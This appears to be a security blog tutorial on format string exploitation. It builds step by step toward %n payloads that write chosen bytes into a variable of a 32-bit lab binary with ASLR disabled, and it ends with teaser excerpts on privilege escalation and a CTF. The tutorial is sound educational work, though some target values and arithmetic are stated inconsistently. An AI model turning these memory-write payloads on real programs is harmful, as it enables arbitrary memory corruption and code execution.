Skip to main content

Format String Vulnerability 3 - Writing arbitrary data in memory

This is more like a continuation of the series on Format String Exploitation. There are multiple ways to exploit a format string. Here I will show you a method where the exploit might not look very optimized. We are going to cover this topic in later posts. 

The main purpose of this post is to demonstrate how to write data at any given address in a memory in a more controlled fashion at some specified address by exploiting the format string exploit. 

We will try to perform the attack in 2 ways
  • Easy case : when we want to write value 0x99887766
  • Slightly twisted case : we will write value 0x22112211
We will see in details why there they are easy or twisted in details below.


Let us look into the 1st Program


In this example our target is to rewrite the value of the variable modify with out desired data.

Things I have done for compilation,
  • Compiled the binary with -m32 as I am showing example with 32bit version
  • Turned ASLR Off

We start testing by looking into the offset of our controlled data and find that it is at position 10.


Now that I know that the offset I will try to rewrite the attack to get our controlled string at the end.

I will try to modify the same attack string in a more controlled manner. 

"AAAA"+"%x."*8+"%x"+"%x"

I have separated two "%x" from the actual string, so that I can use 1st one to manage the writes and 2nd one to replace with "%n".

We have our basic structure ready to start exploiting. Let us see if we can overwrite the value of Modify. We will place the address of the variable in placeholer "AAAA" and replace the last %x with %n

We have overwritten the location with a random value, our next objective is to rewrite with our desired value 0x99887766 in memory. We need 4 writes at 4 consecutive locations 0x0804a02c,0x0804a02d,0x0804a02e,0x0804a02f. One important concept we need to remember here is that is due to little endian architecture the bytes are placed in reverse order. So 66 will be at lower address(0x0804a02c) and 99  will be at higher address(0x0804a02f)

Please not this process will not work eventually. However I decided to document it to make you understand why it wont. No worries, we will also learn the right way to do this.

To write the value 0x99887766 in memory , we need to write the 1st value 0x66 in memory due to the little endian architecture.

Since a normal write %x write 8 bytes, let us calculate how much do we need to control the width to overwrite with 0x66 instead of 0x32 ( look at the image above )  

0x66 + 8 - 50 = 0x3c = 60



You might have a question about that +8 in the above calculation. This is something that I found during trial and error. If I just do this calculation  

0x66 - 50 = 0x34 = 52

The output will be a result falling short of value 8.

Modify => Address => 0x0804a02c :: Value in Decimal => 94 :: Value in hex => 0x0000005e



Let get back to our next objective of writing 0xBB at the next location. To write the next next location we need to give the next address to our location, that is 0x77 at 0x0804a02d 

So we modify the exploit code a little bit and add the address at the next placeholder. Secondly we need to calculate the amount of width we need to put to write exactly 0x77 bytes. As we have previously written 0x66 bytes , the amount of bytes we need to write to get a total number of 0x77 bytes is as follows

0x77 - 0x66 = 0x11 = 17 bytes  

The modified exploit looks like 


./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"\x2d\xa0\x04\x08"+"%x."*8+"%60x"+"%n"+"%17x"+"%n")')



Rectifying the mistake

So it didn't workout as expected. I spent sometime googling and found out that this happens due to fact that bytes alignment is not proper when we are trying to increment by bytes and we need to fill some junk values between the address during out writes. Hence we need to start fresh with a new technique.

[ADDRESS] +[JUNK]+[ADDRESS]+[JUNK]+[ADDRESS]+[JUNK]+[ADDRESS]+[JUNK]+[FORMAT-STRING]

So modifying our initial exploit in the above format we get this

./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%x"+"%n")')



Just like before, we see total bytes written is 0x64 (100) and we need 0x66, so let us calculate the width

0x66 + 8 - 0x64 = A (10)

./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%10x"+"%n")')



Nice, we are able to overwrite the value with 0x66

Next let us calculate number of bytes to write next

0x77 - 0x66 = 0x11 ( 17 ) Please note we are not adding +8 here as its not required ( based on observation )


./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%10x"+"%n"+"%17x"+"%n")')


0x88 - 0x77 = 0x11 ( 17 )

./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%10x"+"%n"+"%17x"+"%n"+"%17x"+"%n")')

0x99 - 0x88 = 0x11 ( 17 )

./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%10x"+"%n"+"%17x"+"%n"+"%17x"+"%n"+"%17x"+"%n")')



Great, we are able to overwrite with our desired data. This post has already become lengthy and without wasting more time I will directly bring out the limitation of the above method and how we can overcome it.

You see the consecutive bytes that we wrote are higher than the previous ones, 0x66 then 0x77. It was easy to calculate the remaining bytes. However what would have been the scenario if we need to write 0x77 then 0x66 ? Should we 0x66 - 0x77 ??? Well we cannot. So the solution to this limitation is we write some extra data. We know 0x66 - 0x77 will be negative, however 0x166 - 0x77 will be positive. This method will write some extra data to the next byte.We dont need to worry about it as the next byte will be overwritten by subsequent writes while preserving our required data. It will be clear with the practical example. Lets try with our example of writing 0x11221122 to our value.

So as usual, let us first write our simple exploit and see how much data it prints by default


./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%x"+"%n")')


So we need value 0x11 (0x17 ) which is lesser than 0x64 (100),hence let us wrap to higher value and write some extra data to next bytes and while preserving our required data.
So we do

0x111 + 8 - 0x64 = B5 (181)


./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%181x"+"%n")')


We are able to overwrite with 0x11 for the 1st byte. Also note we wrote a value 0x1 in the next byte (in Pink). No worries, it will be overwritten next. Next we need 0x22

0x22 - 0x11 = 0x11 (17)

./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%181x"+"%n"+"%17x"+"%n")')



Next we write 0x11, again 0x11 is lesser than 0x22, so we cannot do 0x11 - 0x22, need a wrap again with a bigger value that 

0x111 - 0x22 = EF (239)

./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%181x"+"%n"+"%17x"+"%n"+"%239x"+"%n")')



Next we write 0x22 again,

0x22 - 0x11 = 0x11 (17)

./format3 $(python -c 'print("\x2c\xa0\x04\x08"+"AAAA"+"\x2d\xa0\x04\x08"+"AAAA"+"\x2e\xa0\x04\x08"+"AAAA"+"\x2f\xa0\x04\x08"+"%8x"*8+"%181x"+"%n"+"%17x"+"%n"+"%239x"+"%n"+"%17x"+"%n")')


Thank you for reading.
References:

https://security.stackexchange.com/questions/62240/why-does-printf-vulnerability-require-4-bytes-of-junk-data-hacking-the-ar


Popular posts from this blog

KringleCon : Sans Holiday Hack 2018 Writeup

SANS HOLIDAY HACK 2018 Writeup , KRINGLECON The objectives  Orientation Challenge  Directory Browsing  de Bruijn Sequences  Data Repo Analysis  AD Privilege Discovery  Badge Manipulation  HR Incident Response  Network Traffic Forensics  Ransomware Recovery  Who Is Behind It All? First I go to Bushy Evergreen and try to solve the terminal challenge . Solving it is fairly easy , Escape_Key followed by  ":q" without quotes After this we move to the kiosk and solve the questions The question were based on the themes of previous Holiday Hack Challenges. Once we answer it correctly we get the flag. For this I visited Minty Candycane and I tried to solve the terminal challenge.  The application has command injection vulnerability , so injecting a system command with the server ip allows execution of the command. So first I perform an `ls` operation to list of the directory contents , followed by a cat of t

Linux Privilege Escalation : SUID Binaries

After my OSCP Lab days are over I decided to do a little research and learn more on Privilege Escalation as it is my weak area.So over some series of blog post I am going to share with you some information of what I have learnt so far. The methods mentioned over here are not my own. This is something what I have learnt by reading articles, blogs and solving CTFs SUID - Set User ID The binaries which has suid enabled, runs with elevated privileges. Suppose you are logged in as non root user, but this suid bit enabled binaries can run with root privileges. How does a SUID Bit enable binary looks like ? -r- s r-x---  1 hack-me-bak-cracked hack-me-bak         7160 Aug 11  2015 bak How to find all the SUID enabled binaries ? hack-me-bak2@challenge02:~$ find / -perm -u=s 2>/dev/null /bin/su /bin/fusermount /bin/umount /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/bin/gpasswd /usr/bin/newgrp /usr/bin

Bluetooth Low Energy : Build, Recon,Enumerate and Attack !

Introduction In this post I will try to share some information on bluetooth low energy protocol. Bluetooth Low Energy ( BLE ) is Bluetooth 4.0.It has been widely used in creating "smart" devices like bulbs that can be controlled by mobile apps, or electrical switches that can be controlled by mobile apps. The terms Low Energy refers to multiple distinctive features that is operating on low power and lower data transfer. Code BLE Internals and Working The next thing what we need to know is a profile. Now every bluetooth device can be categorized based on certain specification which makes it easy. Here we will take a close look into two profiles of Bluetooth which is specifically designed for BLE. Generic Access Profile (GAP) - This profiles describes how two BLE devices defines discovery and establishment of connection with each other. There are two types of data payload that can be used. The Advertising Data Payload and Scan Response Payload . The GAP uses br